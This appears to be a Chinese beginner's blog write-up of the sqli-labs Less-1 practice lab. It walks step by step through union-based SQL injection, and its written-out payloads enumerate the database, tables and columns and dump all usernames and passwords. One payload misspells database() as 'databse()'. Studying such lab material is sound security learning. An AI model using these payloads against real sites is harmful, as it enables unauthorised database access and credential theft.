zoukankan      html  css  js  c++  java
  • 小白注入学习:sqli-labs--less1学习记录

    Sqli-labs ----- Less1 字符型注入:union 联合查询注入

    1.判断注入点,注入类型
    (1)根据在id后面输入 ' 后根据数据库报错信息,猜想其id的内容存放在已对单引号中
    (2)输入 ' and 1=1 --+发现内容返回正常(小白注释:--+后面sql语句内容)
    输入' and 1=2 --+ 返回内容错误,这里应该存在字符型的注入漏洞。
    2.order by 查询列数
    根据order by --+查询语句,发现当前表单有3列。(小白注释:这里猜数字可以用去中间值法
    3.获取数据库名
    使用联合查询语句 union select查询数据库名称
    ?id=-1' union select 1,2,3--+看到页面回显内容,分别有2,3列。
    ?id=-1' union select 1,2,databse()--+可以在上述3的位置得到数据库名security
    (小白注释:database()函数数据库中返回当前数据库名,类似的函数还有version()返回当前数据库版本,current_user()返回mysql的用户名和主机名)
    4.获取表名
    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
    表有 users,emails,referers,uagents,显然users是需要的用户表。
    5.获取字段名
    ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
    6.获取账号username密码password
    ?id=-1' union select 1,2,group_concat(username,'~',password) from users--+(小白注释:这里用~号将账号密码隔开)

    PS:小白总结

    (1)information_schema可以看作是信息数据库,在其中有几个只读表保存着在 MySQL服务器中所有其他的数据,如数据库名,表名。
    (2)information_schema中的 tables表提供了数据库中关于表的信息;colunms提供了表中列的信息
    (3)group_concat()作用是将 group by 产生的的所有结果连接起来后返回一个字符串记录,在本例中查询username和 password的所有结果
    语法:group_concat( [distinct] 要连接的字段 [ order by 排序字段 asc/desc ] [separator '分隔符 ' ] )
    (4)现根据'和报错信息判断是否存在注入点,判断是字符还是数字型注入
    用order by查询列数,再根据 union select查询的回显信息一步步获取数据库名,表名,字段名,字段内容。

    小白的注入学习记录!!

  • 相关阅读:
    matlab之simulink仿真入门
    20160205.CCPP体系具体解释(0015天)
    logistic回归具体解释(二):损失函数(cost function)具体解释
    Java 垃圾回收之垃圾回收算法
    synchronized
    如何中断线程
    yield函数
    Linux
    notify和notifyAll的区别
    Sleep和Wait的区别
  • 原文地址:https://www.cnblogs.com/ersuani/p/sqlilab_less1.html
Copyright © 2011-2022 走看看